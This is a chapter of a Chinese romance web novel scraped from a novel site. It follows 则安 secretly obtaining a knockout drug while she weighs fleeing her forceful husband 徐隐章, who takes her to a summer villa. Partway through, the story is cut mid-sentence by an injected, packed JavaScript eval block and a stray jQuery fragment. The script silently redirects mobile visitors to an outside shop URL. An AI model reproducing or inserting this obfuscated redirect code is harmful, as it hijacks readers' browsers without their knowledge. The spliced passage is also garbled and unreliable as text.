文趣网 > 都市小说 > 强娶的夫人要和离 > 36. 摇摆
    素砚之事太过惨烈,徐隐章想,恐怕要许久才能平息她心中的恐惧。

    他松手,还她自由:“则安,眼见不一定为实。等我将事情料理妥帖了,你好奇的、害怕的事,我都会解释清楚。”

    则安问了句不相关的:“你什么时候带我去避暑山庄?”

    沈如昭最近频繁出入黑市,似乎在招募杀手。赵初微近日也不消停,好像在找什么人。他们万一狗急跳墙……避暑山庄保卫怎么比得上敛玉榭?

    “衙门事多,等忙过了这段时间再去。”

    则安嗔怪:“你回回都说忙过这段时间,说了快两个月也没见你忙完。”说完,她赌气似地背过身不再看他。

    低头微微沉思后,徐隐章凑上前,稳稳揽住她的肩膀,温声哄她:“再等几天,过几天一定带你去。”

    则安静默。

    “三天后就去。”

    则安快速转过身,惊奇地看着他。

    “怎么了?”

    “今天太阳打西边出来了,你居然这么好说话。”则安转过身,露出个狡黠又得意的笑。

    徐隐章轻笑一声,弯曲食指,轻轻地剐了一下她的鼻梁。则安耳根迅速红了,几乎是条件反射地推他。徐隐章没防备,踉跄着往后倒,二人中间隔了几拳距离。

    院子里的月季开的正盛,红的、粉的、白的,美的各有千秋。一阵伴有花香的微风拂过,徐隐章心中泛起一丝涟漪。

    三月,则安吩咐人种了这一片月季。她说院子里的花要分时令种,春日有海棠,夏季月季开,秋天能赏菊,冬日闻梅香。

    徐隐章从前对这些身外之物不甚在意,今日忽然察觉到了个中妙处。

    的确撩人。

    他又强势地靠过去,不容拒绝地搂着她,轻笑着用鼻梁蹭她的鼻梁。

    “干什么,好热!”则安有些恼怒地推他。

    她的耳朵不再红了。

    徐隐章又像刚才那样,弯曲手指剐她的鼻梁。

    还是不红。

    “昨日看账发现了些问题,明日我想亲自去铺子上看看。”

    月季的香气霎时间消散了个干净,夏日依旧燥热难耐。

    昨日她睡了快一整天,哪有时间看账?徐隐章想,大约她心中真的恐惧,只想暂时离开敛玉榭,去别的地方缓一缓。

    徐隐章“嗯”了一声,顺着她的推力离远了些。

    徐隐章答应了,则安却更紧张了。

    如果徐隐章不带她去避暑山庄,如果徐隐章不答应她出门,她可能会知难而退。等过段时间这个疯狂的想法就会消失了……偏偏,他答应了……

    则安拉着他往内室走:“先换衣服。”

    等换完衣服后,则安借口出去传晚膳,将衔珠拉到一旁,悄悄吩咐她:“你现在赶紧出府去找秦掌柜,让她帮我买几包蒙汗药,我明日去铺子上取。”

    顿了顿,又补充:“让她不要亲自去,托邻居,或是铺子上的小伙计去。”

    衔珠压低了声音问:“小姐,你要蒙汗药做什么?”

    则安含含糊糊:“防身用,以防万一总是好的。”

    素砚之事一出,整个敛玉榭风声鹤唳,人人自危。衔珠没有多问,立即出门了。

    用过晚膳后,衔珠小跑着将六合斋买的芝麻糕拿来。则安放下心,打开尝了一块。

    徐隐章目光在二人身上来回巡视,心道,则安平日里很爱护院子里的丫鬟们,天都快黑了怎么还让衔珠往外跑?

    他伸手过去拿芝麻糕,手先停在最中间的一块,见则安并不阻止,又改向另一块,则安依旧不阻止。如此反复了几次,则安皱眉问他:“你到底要吃哪一块?”

    徐隐章没说什么,随意地捻起其中一块放入口中,细嚼慢咽,没发现什么问题。

    翌日,则安起了个大早,先去各个铺子上转了一圈,最后才去她自己的胭脂铺。

    一个二十出头的年轻女子见她来,将她迎到二楼雅间,从怀中掏出三大包蒙汗药递给她。

    “这是我托邻居家的婶子去买的。”

    则安将药收入怀中,压低了声音问:“秦娘子,我有话想问你。”

    “你说。”

    “你当初从通州逃来京城,路上有没有遇到过歹人?”

    秦掌柜原是通州一富商家中的小姐,父亲病逝后,叔父侵占了她的家产,还要将她卖去给一个老头子做填房。秦掌柜带着个丫鬟逃来京城,在沈家名下一间绣房做绣娘养活自己。则安有一次随表哥沈既明去绣房,正好碰见秦掌柜被一个男客欺辱,沈既明当即赶走了那男客。

    正好那时她刚盘下了胭脂铺子,缺一个信任之人帮她搭理。遇见秦掌柜便是瞌睡了有人递枕头,二人一拍即合。

    秦掌柜笑答:“京城离通州不远,我们一路上走官道,住正经客栈,遇到凶神恶煞的便远远躲开,碰见乞丐也不敢多看一眼,睡觉时都睁一只眼睛。如此战战兢兢走了一路,倒也没遇到什么歹人。”

    “你自小跟着你爹走南闯北,见多识广,胆气计谋自然非寻常闺阁小姐能比。”则安自言自语。

    秦掌柜递给则安一杯茶:“你怎么突然问这个?”

    “没什么,就是好奇,好奇怎么会有人这么大胆。”

    “你要是被逼着嫁给一个快五十岁的老头,你也会这么大胆。”秦掌柜没好气地说。

    静默许久,则安忍不住又问:“你一个弱女子,无依无靠,当真……不害怕吗?”

    “怕也是怕的。”秦掌柜也认真地答:“不过,我现在的头等大事是赚钱,赎回父亲留下的产业。一想到父亲在九泉之下看着我,自然不怕了。”

    所以,她是因为还没有逼到绝境吗?

    只要她不惹怒徐隐章,日子似乎也还过得下去……

    下午徐隐章提前下值回来,交代则安:“让丫鬟们收拾东西,等太阳落山了就走,去避暑山庄。不过,这次只能待三天。”

    怎么……这么快!她还没想好呢!

    则安慌慌张张起身要出去,没走两步又折返回来,仰着头看他,认真地问:“你要是忙,能不能你先回京城,我在庄子上多住一段时日?”

    徐隐章嘴角拉平,一副“你说呢”的表情。

    肯定是不行的,她急的有点糊涂了!

    则安拽着他进内室:“先更衣吧。”

    徐隐章拉开她的手:“我自己来。”他边换衣服边说:“你也换套骑装,待会儿我带你骑马先去,剩余人坐马车慢慢走。”

    则安剧烈地摇摇头,似乎像将脑子里乱糟糟的想法都甩走。而后将几个大丫鬟叫进来,吩咐:“衔珠,你将我那套海天霞色的骑装找出来。秋月,你去传晚膳。立春收拾东西,这次立春跟着一起去。”

    秋月不服气地嘟囔:“少夫人,奴婢会骑马。”

    则安说:“上次就是你去,这次该带立春了。”

    立春话少,胆子也小。秋月胆子大,脑子灵,不敢带她去。

    用过晚膳后,刚好太阳也落山了,一行人便准备出发。

    徐隐章见衔玉跟在衔珠身后,便指着衔玉对则安说:“她年纪太小,也不懂府里规矩,这次先不带她。”

    则安仰脸看他,抚他心口:“你心眼变小了。”她话中带了几分调笑:“还和一个小丫头斤斤计较。”

    徐隐章看着衔玉的眼神实在不友善,则安侧身挡住他的目光。必是因为衔玉上次偷偷

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725955|208847||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    给她报信,她低声说:“事情都过去了,我们都不再提了,好不好?”

    徐隐章警告地看一眼衔玉,点头。

    侍卫小跑着将马鞍取来,徐隐章亲自动手装马鞍。则安仔细看去,有些好奇:“这马鞍为何有两副脚蹬?”

    马鞍绑好后,徐隐章将则安抱上马,调整前面一副脚蹬,握住则安的脚放进去。

    “待会儿跑起来,你也踩着脚蹬,两腿微微用力,不要坐实了。这样就不会颠,也不会磨着你的腿。”

    安顿好则安后,徐隐章利落翻身上马,踩上后一副脚蹬。

    徐隐章带着则安与十六人护卫队骑马先行,衔珠等人乘马车在后面慢慢走。

    他们骑马一个时辰就到了避暑山庄,徐隐章问:“要不要沐浴?”则安点头,很快徐隐章就提了一桶热水进来。

    则安既吃惊,又很不好意思。

    “让厨房烧水婆子送进来就好,你怎么还亲自动手……”

    庄子上的人,他怎么放心让人进来。徐隐章笑着说:“心疼我?待会儿你亲自伺候我沐浴。”

    则安嘟囔:“说不了两句又不正经。”

    沐浴过后,天已经黑透了,则安趴在窗台上吹风,感叹:“果然是避暑山庄,真凉快。”

    徐隐章也沐浴完毕,坐在她身旁,一只胳膊从她背后绕过去撑在窗台,无形中又将则安圈在自己怀里。他问:“要不要出去走走?”

    “当真?”则安立即坐直了身子,脸几乎要碰到他的,默默后撤靠着窗台。

    徐隐章对敛玉榭众人管束非常严格,戌时过后便不许人随意进出,院子里会安排婆子巡视,院外有侍卫守着。丫鬟们要是乱跑,抓住了必然重罚。

    徐隐章拉起她的手:“走吧。”

    庄子外有一条小溪,他们就沿着溪边散步。

    月光给地面渡上一层朦胧的银纱,溪水不急不缓地流动着。

    流水、蝉鸣、蛙语。

    则安心中所有的不安、迷茫、摇摆都暂时消失了。

    走着走着,徐隐章突然开口:“再等几年,等我将所有事都料理妥当,到时你想干什么都可以。”

    则安问:“听说蝉烤熟了可以吃,你有没有吃过?”

    “那幅画、素砚、赵初微、沈如昭,你想知道的事,我都会告诉你。”徐隐章自顾自地说。

    “还有我们……”

    “你舅母他们是开玩笑。”则安打断他:“我也开玩笑。”则安认真地说:“京城里很多姑娘都想嫁给你,就算将来我不在了,你也……”

    徐隐章捂住她的唇,躬身,低头,抵住她的额头,似在呢喃:“不要说这样的话,平白惹我伤心。”

    则安将他的手拉下来,后退两步拉开距离,继续说:“你是定国公嫡长子,孟首辅的得意门生,年纪轻轻就做了吏部侍郎,京城里再也没有比你更亮眼的年轻公子,很多姑娘都愿意嫁给你。”

    徐隐章直起身,看着则安说:“定国公府内里是何等情状,京城里谁人不知,谁人不晓?愿意嫁进来的,无非是看中这些身外之物,谁愿意真心对我?”

    则安有些着急:“不是!不是!”

    “除了你,谁愿意真心对我。”徐隐章又拉住她两只手,靠近一步。

    “不是!真的不是!”则安越发急切地解释:“抛开这些身外之物,单论你这个人,也有许多姑娘愿意嫁给你。从前还没出嫁时,我便听许多女子谈起过你,他们都愿意嫁给你。”

    “不对,他们都很期盼着嫁给你。”则安怕他误会,又解释一遍:“很多女子做梦都想嫁给你。”

    徐隐章满意一笑,收网。

    “那你呢,你愿不愿意嫁给我?”